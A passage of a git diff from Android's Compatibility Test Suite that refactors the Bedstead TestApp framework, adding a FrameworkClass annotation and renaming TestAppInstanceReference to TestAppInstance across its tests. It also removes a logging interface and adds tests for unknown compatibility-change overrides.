+ getMethods(methods, interfaceClass, elements);
+ return new HashSet<>(methods.values());
+ }
+
+ private void getMethods(Map<String, ExecutableElement> methods, TypeElement interfaceClass,
+ Elements elements) {
+ interfaceClass.getEnclosedElements().stream()
.filter(e -> e instanceof ExecutableElement)
.map(e -> (ExecutableElement) e)
- .collect(Collectors.toSet());
+ .filter(e -> !methods.containsKey(e.getSimpleName().toString()))
+ .filter(e -> e.getModifiers().contains(Modifier.PUBLIC))
+ .forEach(e -> {
+ methods.put(methodHash(e), e);
+ });
+
+ interfaceClass.getInterfaces().stream()
+ .map(m -> elements.getTypeElement(m.toString()))
+ .forEach(m -> getMethods(methods, m, elements));
+ }
+
+ private String methodHash(ExecutableElement method) {
+ return method.getSimpleName() + "(" + method.getParameters().stream()
+ .map(p -> p.asType().toString()).collect(
+ Collectors.joining(",")) + ")";
}
}
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
new file mode 100644
index 0000000..c1332a0
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/FrameworkClass.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp.processor.annotations;
+
+public @interface FrameworkClass {
+ Class<?> frameworkClass();
+ String constructor();
+}
diff --git a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
index 9bdcef2..f456c0b 100644
--- a/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
+++ b/common/device-side/bedstead/testapp/src/processor/main/java/com/android/bedstead/testapp/processor/annotations/TestAppReceiver.java
@@ -17,5 +17,5 @@
package com.android.bedstead.testapp.processor.annotations;
public @interface TestAppReceiver {
- Class<?>[] systemServiceClasses();
+ FrameworkClass[] frameworkClasses();
}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
index a4bc029..b185295 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivitiesTest.java
@@ -52,21 +52,21 @@
activity().activityClass().className().isEqualTo(NON_EXISTING_ACTIVITY)
)
.get();
- private static TestAppInstanceReference mTestAppInstance;
+ private static TestAppInstance sTestAppInstance;
@Before
public void setup() {
- mTestAppInstance = sTestApp.install(sUser);
+ sTestAppInstance = sTestApp.install(sUser);
}
@After
public void teardown() {
- mTestAppInstance.uninstall();
+ sTestAppInstance.uninstall();
}
@Test
public void query_matchesActivity_returnsActivity() {
- TestAppActivityReference activity = mTestAppInstance.activities().query()
+ TestAppActivityReference activity = sTestAppInstance.activities().query()
.whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
.get();
@@ -75,12 +75,12 @@
@Test
public void query_matchesPreviouslyReturnedActivity_throwsException() {
- mTestAppInstance.activities().query()
+ sTestAppInstance.activities().query()
.whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
.get();
assertThrows(IllegalStateException.class, () ->
- mTestAppInstance.activities().query()
+ sTestAppInstance.activities().query()
.whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
.get());
}
@@ -88,7 +88,7 @@
@Test
public void query_doesNotMatchActivity_throwsException() {
assertThrows(IllegalStateException.class, () ->
- mTestAppInstance.activities().query()
+ sTestAppInstance.activities().query()
.whereActivity().activityClass().className()
.isEqualTo(NON_EXISTING_ACTIVITY)
.get());
@@ -96,18 +96,18 @@
@Test
public void any_returnsActivity() {
- TestAppActivityReference activity = mTestAppInstance.activities().any();
+ TestAppActivityReference activity = sTestAppInstance.activities().any();
assertThat(activity).isNotNull();
}
@Test
public void query_matchesActivityPreviouslyReturnedByDifferentInstance_returnsActivity() {
- mTestAppInstance.activities().query()
+ sTestAppInstance.activities().query()
.whereActivity().activityClass().className().isEqualTo(EXISTING_ACTIVITY)
.get();
- TestAppInstanceReference testAppInstance2 = sTestApp.instance(sUser);
+ TestAppInstance testAppInstance2 = sTestApp.instance(sUser);
assertThat(
testAppInstance2.activities().query()
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
index 93276b8..4a524f3 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppActivityReferenceTest.java
@@ -54,7 +54,7 @@
@IncludeRunOnProfileOwnerProfileWithNoDeviceOwner
public void start_activityIsStarted() {
TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = testApp.install(sUser)) {
Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
assertThat(TestApis.activities().foregroundActivity()).isEqualTo(
@@ -65,7 +65,7 @@
@Test
public void remote_executes() {
TestApp testApp = mTestAppProvider.query().whereActivities().isNotEmpty().get();
- try (TestAppInstanceReference testAppInstance = testApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = testApp.install(sUser)) {
Activity<TestAppActivity> activity = testAppInstance.activities().any().start();
assertThat(activity.activity().isFinishing()).isFalse();
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
similarity index 79%
rename from common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
rename to common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
index c90cc45..9e7dcac 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceReferenceTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppInstanceTest.java
@@ -26,6 +26,7 @@
import static org.testng.Assert.assertThrows;
+import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
@@ -48,7 +49,7 @@
import java.time.Duration;
@RunWith(BedsteadJUnit4.class)
-public class TestAppInstanceReferenceTest {
+public class TestAppInstanceTest {
@ClassRule
@Rule
@@ -73,28 +74,28 @@
@Test
public void user_returnsUserReference() {
- TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+ TestAppInstance testAppInstance = sTestApp.instance(sUser);
assertThat(testAppInstance.user()).isEqualTo(sUser);
}
@Test
public void testApp_returnsTestApp() {
- TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+ TestAppInstance testAppInstance = sTestApp.instance(sUser);
assertThat(testAppInstance.testApp()).isEqualTo(sTestApp);
}
@Test
public void activities_any_returnsActivity() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.activities().any()).isNotNull();
}
}
@Test
public void uninstall_uninstalls() {
- TestAppInstanceReference testAppInstance = sTestApp.install(sUser);
+ TestAppInstance testAppInstance = sTestApp.install(sUser);
testAppInstance.uninstall();
@@ -104,7 +105,7 @@
@Test
public void autoclose_uninstalls() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Intentionally empty
}
@@ -114,7 +115,7 @@
@Test
public void keepAlive_notInstalled_throwsException() {
- TestAppInstanceReference testAppInstance = sTestApp.instance(sUser);
+ TestAppInstance testAppInstance = sTestApp.instance(sUser);
assertThrows(IllegalStateException.class, testAppInstance::keepAlive);
}
@@ -122,7 +123,7 @@
@Test
@Ignore("b/203758521 Need to re-add support for killing processes")
public void killProcess_keepAlive_processIsRunningAgain() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.keepAlive();
// testAppInstance.process().kill();
@@ -140,7 +141,7 @@
@Test
@Ignore("b/203758521 need to re-add support for killing processes")
public void stop_processIsNotRunning() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
// testAppInstance.stop();
@@ -152,7 +153,7 @@
@Test
@Ignore("b/203758521 need to re-add support for killing processes")
public void stop_previouslyCalledKeepAlive_processDoesNotRestart() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
testAppInstance.keepAlive();
@@ -164,14 +165,14 @@
@Test
public void process_isNotRunning_returnsNull() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.process()).isNull();
}
}
@Test
public void process_isRunning_isNotNull() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.activities().any().start();
Poll.forValue("TestApp process", testAppInstance::process)
@@ -183,7 +184,7 @@
@Test
public void registerReceiver_receivesBroadcast() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
sContext.sendBroadcast(INTENT);
@@ -196,7 +197,7 @@
@Test
public void registerReceiver_multipleIntentFilters_receivesAllMatchingBroadcasts() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.registerReceiver(INTENT_FILTER_2);
@@ -214,7 +215,7 @@
@Test
public void registerReceiver_processIsRunning() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
@@ -225,7 +226,7 @@
@Test
@Ignore("b/203758521 need to re-add support for killing processes")
public void stop_registeredReceiver_doesNotReceiveBroadcast() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
// testAppInstance.stop();
@@ -240,7 +241,7 @@
@Test
public void unregisterReceiver_registeredReceiver_doesNotReceiveBroadcast() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.unregisterReceiver(INTENT_FILTER);
@@ -255,7 +256,7 @@
@Test
public void unregisterReceiver_doesNotUnregisterOtherReceivers() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
testAppInstance.registerReceiver(INTENT_FILTER_2);
@@ -276,7 +277,7 @@
@Test
public void keepAlive_processIsRunning() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.keepAlive();
@@ -287,7 +288,7 @@
@Test
@Ignore("b/203758521 need to re-add support for killing processes")
public void registerReceiver_appIsKilled_stillReceivesBroadcast() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
testAppInstance.registerReceiver(INTENT_FILTER);
// testApp.pkg().runningProcess(sUser).kill();
Poll.forValue("running process", () -> sTestApp.pkg().runningProcess(sUser))
@@ -307,7 +308,7 @@
@Test
@RequireSdkVersion(min = S, reason = "isSafeOperation only available on S+")
public void devicePolicyManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.devicePolicyManager()
.isSafeOperation(OPERATION_SAFETY_REASON_DRIVING_DISTRACTION);
@@ -316,7 +317,7 @@
@Test
public void userManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.userManager().getUserProfiles();
}
@@ -325,7 +326,7 @@
@Test
@RequireSdkVersion(min = Q, reason = "Wifimanager API only available on Q+")
public void wifiManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
testAppInstance.wifiManager().getMaxNumberOfNetworkSuggestionsPerApp();
}
@@ -333,7 +334,7 @@
@Test
public void hardwarePropertiesManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call - there are no methods on this service which don't require permissions
assertThrows(SecurityException.class, () -> {
testAppInstance.hardwarePropertiesManager().getCpuUsages();
@@ -343,30 +344,54 @@
@Test
public void packageManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.packageManager().hasSystemFeature("")).isFalse();
}
}
@Test
public void crossProfileApps_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.crossProfileApps().getTargetUserProfiles()).isEmpty();
}
}
@Test
public void launcherApps_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
assertThat(testAppInstance.launcherApps().hasShortcutHostPermission()).isFalse();
}
}
@Test
public void accountManager_returnsUsableInstance() {
- try (TestAppInstanceReference testAppInstance = sTestApp.install(sUser)) {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
// Arbitrary call which does not require specific permissions to confirm no crash
assertThat(testAppInstance.accountManager().getAccounts()).isNotNull();
}
}
+
+ @Test
+ public void context_returnsUsableInstance() {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+ assertThat(testAppInstance.context().getSystemServiceName(DevicePolicyManager.class))
+ .isEqualTo(Context.DEVICE_POLICY_SERVICE);
+ }
+ }
+
+ @Test
+ public void context_getContentResolver_returnsUsableInstance() {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+ // Arbitrary call which does not require specific permissions to confirm no crash
+ assertThat(testAppInstance.context().getContentResolver().getPersistedUriPermissions())
+ .isNotNull();
+ }
+ }
+
+ @Test
+ public void keyChain_returnsUsableInstance() {
+ try (TestAppInstance testAppInstance = sTestApp.install(sUser)) {
+ assertThat(testAppInstance.keyChain().isKeyAlgorithmSupported("A")).isFalse();
+ }
+ }
}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
index 456d793..f9e8e34 100644
--- a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
@@ -95,7 +95,7 @@
TestApp testApp = mTestAppProvider.any();
try {
- TestAppInstanceReference testAppInstance = testApp.install(sUser);
+ TestAppInstance testAppInstance = testApp.install(sUser);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -122,7 +122,7 @@
TestApp testApp = mTestAppProvider.any();
try {
- TestAppInstanceReference testAppInstance = testApp.install(sUserHandle);
+ TestAppInstance testAppInstance = testApp.install(sUserHandle);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -149,7 +149,7 @@
public void instance_userHandle_instanceIsNotInstalled_stillReturnsInstance() {
TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+ TestAppInstance testAppInstance = testApp.instance(sUserHandle);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -159,7 +159,7 @@
public void instance_userReference_instanceIsNotInstalled_stillReturnsInstance() {
TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUserHandle);
+ TestAppInstance testAppInstance = testApp.instance(sNonExistingUserHandle);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -169,7 +169,7 @@
public void instance_userHandle_nonExistingUser_stillReturnsInstance() {
TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sUserHandle);
+ TestAppInstance testAppInstance = testApp.instance(sUserHandle);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sUser);
@@ -186,7 +186,7 @@
public void instance_userReference_nonExistingUser_stillReturnsInstance() {
TestApp testApp = mTestAppProvider.any();
- TestAppInstanceReference testAppInstance = testApp.instance(sNonExistingUser);
+ TestAppInstance testAppInstance = testApp.instance(sNonExistingUser);
assertThat(testAppInstance.testApp()).isEqualTo(testApp);
assertThat(testAppInstance.user()).isEqualTo(sNonExistingUser);
@@ -293,10 +293,10 @@
@EnsureHasDeviceOwner
public void install_repeated_hasRemoteDpcDeviceOwner_doesNotFailVerification() {
TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference t = testApp.install()) {
+ try (TestAppInstance t = testApp.install()) {
// Intentionally empty
}
- try (TestAppInstanceReference t = testApp.install()) {
+ try (TestAppInstance t = testApp.install()) {
// Intentionally empty
}
}
@@ -307,12 +307,12 @@
TestApp testApp = mTestAppProvider.any();
// The first install can be into the parent or the work profile and it will succeed
- try (TestAppInstanceReference t = testApp.install()) {
+ try (TestAppInstance t = testApp.install()) {
// Intentionally empty
}
// The second will fail 100% of the time if DISALLOW_INSTALL_UNKNOWN_SOURCES is enabled
- try (TestAppInstanceReference t = testApp.install(sDeviceState.workProfile())) {
+ try (TestAppInstance t = testApp.install(sDeviceState.workProfile())) {
// Intentionally empty
}
}
@@ -321,10 +321,10 @@
@EnsureHasWorkProfile
public void install_repeated_hasRemoteDpcWorkProfile_installsInParent_doesNotFailVerification() {
TestApp testApp = mTestAppProvider.any();
- try (TestAppInstanceReference t = testApp.install()) {
+ try (TestAppInstance t = testApp.install()) {
// Intentionally empty
}
- try (TestAppInstanceReference t = testApp.install()) {
+ try (TestAppInstance t = testApp.install()) {
// Intentionally empty
}
}
diff --git a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
index 82eca41..5b0a59f 100644
--- a/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
+++ b/common/device-side/bedstead/testapp/src/testapps/main/java/com/android/bedstead/testapp/TestAppAppComponentFactory.java
@@ -22,6 +22,8 @@
import android.app.Service;
import android.app.admin.DevicePolicyManager;
import android.content.BroadcastReceiver;
+import android.content.ContentResolver;
+import android.content.Context;
import android.content.Intent;
import android.content.pm.CrossProfileApps;
import android.content.pm.LauncherApps;
@@ -29,8 +31,10 @@
import android.net.wifi.WifiManager;
import android.os.HardwarePropertiesManager;
import android.os.UserManager;
+import android.security.KeyChain;
import android.util.Log;
+import com.android.bedstead.testapp.processor.annotations.FrameworkClass;
import com.android.bedstead.testapp.processor.annotations.TestAppReceiver;
import com.android.eventlib.premade.EventLibService;
@@ -38,17 +42,21 @@
* An {@link AppComponentFactory} which redirects invalid class names to premade TestApp classes.
*/
@TestAppReceiver(
- systemServiceClasses = {
- DevicePolicyManager.class,
- HardwarePropertiesManager.class,
- UserManager.class,
- WifiManager.class,
- PackageManager.class,
- CrossProfileApps.class,
- LauncherApps.class,
- AccountManager.class
+ frameworkClasses = {
+ @FrameworkClass(frameworkClass = DevicePolicyManager.class, constructor = "context.getSystemService(android.app.admin.DevicePolicyManager.class)"),
+ @FrameworkClass(frameworkClass = HardwarePropertiesManager.class, constructor = "context.getSystemService(android.os.HardwarePropertiesManager.class)"),
+ @FrameworkClass(frameworkClass = UserManager.class, constructor = "context.getSystemService(android.os.UserManager.class)"),
+ @FrameworkClass(frameworkClass = WifiManager.class, constructor = "context.getSystemService(android.net.wifi.WifiManager.class)"),
+ @FrameworkClass(frameworkClass = PackageManager.class, constructor = "context.getPackageManager()"),
+ @FrameworkClass(frameworkClass = CrossProfileApps.class, constructor = "context.getSystemService(android.content.pm.CrossProfileApps.class)"),
+ @FrameworkClass(frameworkClass = LauncherApps.class, constructor = "context.getSystemService(android.content.pm.LauncherApps.class)"),
+ @FrameworkClass(frameworkClass = AccountManager.class, constructor = "context.getSystemService(android.accounts.AccountManager.class)"),
+ @FrameworkClass(frameworkClass = Context.class, constructor = "context"),
+ @FrameworkClass(frameworkClass = ContentResolver.class, constructor = "context.getContentResolver()"),
+ @FrameworkClass(frameworkClass = KeyChain.class, constructor = "null") // KeyChain can not be instantiated - all calls are static
}
-)public final class TestAppAppComponentFactory extends AppComponentFactory {
+)
+public final class TestAppAppComponentFactory extends AppComponentFactory {
private static final String LOG_TAG = "TestAppACF";
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
index b0ec2e9..27d86b5 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/ExtraBusinessLogicTestCase.java
@@ -18,6 +18,8 @@
import static org.junit.Assert.assertTrue;
+import android.util.Log;
+
import org.junit.Before;
import java.util.List;
@@ -35,7 +37,7 @@
* Now Business Logics rules and actions can be called from the GCL by using the interface fully
* qualified name.
*/
-public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase implements MultiLogDevice {
+public abstract class ExtraBusinessLogicTestCase extends BusinessLogicTestCase {
private static final String LOG_TAG = BusinessLogicTestCase.class.getSimpleName();
@@ -52,7 +54,8 @@
"Test \"%s\" is unable to execute as it depends on the missing remote "
+ "configuration.", mTestCase.getMethodName()), mCanReadBusinessLogic);
} else if (!mCanReadBusinessLogic) {
- logInfo(LOG_TAG, "Skipping Business Logic for %s", mTestCase.getMethodName());
+ Log.i(LOG_TAG, String.format(
+ "Skipping Business Logic for %s", mTestCase.getMethodName()));
return;
}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
deleted file mode 100644
index dbe5128..0000000
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MultiLogDevice.java
+++ /dev/null
@@ -1,47 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.util.Log;
-import com.android.compatibility.common.util.MultiLog;
-
-/** Implement the deviceside interface for logging on host+device-common code. */
-public interface MultiLogDevice extends MultiLog {
- /** {@inheritDoc} */
- @Override
- default void logInfo(String logTag, String format, Object... args) {
- Log.i(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logDebug(String logTag, String format, Object... args) {
- Log.d(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logWarn(String logTag, String format, Object... args) {
- Log.w(logTag, String.format(format, args));
- }
-
- /** {@inheritDoc} */
- @Override
- default void logError(String logTag, String format, Object... args) {
- Log.e(logTag, String.format(format, args));
- }
-}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
index b37176e..994459d 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/enterprise/OWNERS
@@ -1,7 +1,3 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
-scottjonathan@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
+
diff --git a/hostsidetests/apex/AndroidTest.xml b/hostsidetests/apex/AndroidTest.xml
index 201b3de..fe3e959 100644
--- a/hostsidetests/apex/AndroidTest.xml
+++ b/hostsidetests/apex/AndroidTest.xml
@@ -19,6 +19,7 @@
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
<option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+ <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
<test class="com.android.tradefed.testtype.HostTest" >
<option name="jar" value="CtsApexTestCases.jar" />
</test>
diff --git a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
index 060c8ed..3212c99 100644
--- a/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
+++ b/hostsidetests/appcompat/compatchanges/app/src/com/android/cts/appcompat/compatchanges/CompatChangesTest.java
@@ -46,8 +46,9 @@
*/
@RunWith(AndroidJUnit4.class)
public final class CompatChangesTest {
- private static final long CTS_SYSTEM_API_CHANGEID = 149391281;
- private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039;
+ private static final long CTS_SYSTEM_API_CHANGEID = 149391281L;
+ private static final long CTS_SYSTEM_API_OVERRIDABLE_CHANGEID = 174043039L;
+ private static final long UNKNOWN_CHANGEID = 123L;
private static final String OVERRIDE_PACKAGE = "com.android.cts.appcompat.preinstalloverride";
@@ -115,6 +116,13 @@
}
@Test
+ public void putPackageOverrides_doesNothingIfChangeIsUnknown() {
+ CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
+ Collections.singletonMap(UNKNOWN_CHANGEID,
+ new PackageOverride.Builder().setEnabled(true).build()));
+ }
+
+ @Test
public void putPackageOverrides_success() {
CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
@@ -164,6 +172,12 @@
}
@Test
+ public void removePackageOverrides_doesNothingIfChangeIsUnknown() {
+ CompatChanges.removePackageOverrides(OVERRIDE_PACKAGE,
+ Collections.singleton(UNKNOWN_CHANGEID));
+ }
+
+ @Test
public void removePackageOverrides_overridePresentSuccess() {
CompatChanges.putPackageOverrides(OVERRIDE_PACKAGE,
Collections.singletonMap(CTS_SYSTEM_API_OVERRIDABLE_CHANGEID,
diff --git a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
index 70ba008..66fdf19 100644
--- a/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
+++ b/hostsidetests/appcompat/compatchanges/src/com/android/cts/appcompat/CompatChangesOverrideOnReleaseBuildTest.java
@@ -30,8 +30,8 @@
private static final String OVERRIDE_PKG = "com.android.cts.appcompat.preinstalloverride";
- private static final long CTS_CHANGE_ID = 149391281L;
private static final long CTS_OVERRIDABLE_CHANGE_ID = 174043039L;
+ private static final long UNKNOWN_CHANGEID = 123L;
@Override
protected void setUp() throws Exception {
@@ -78,6 +78,19 @@
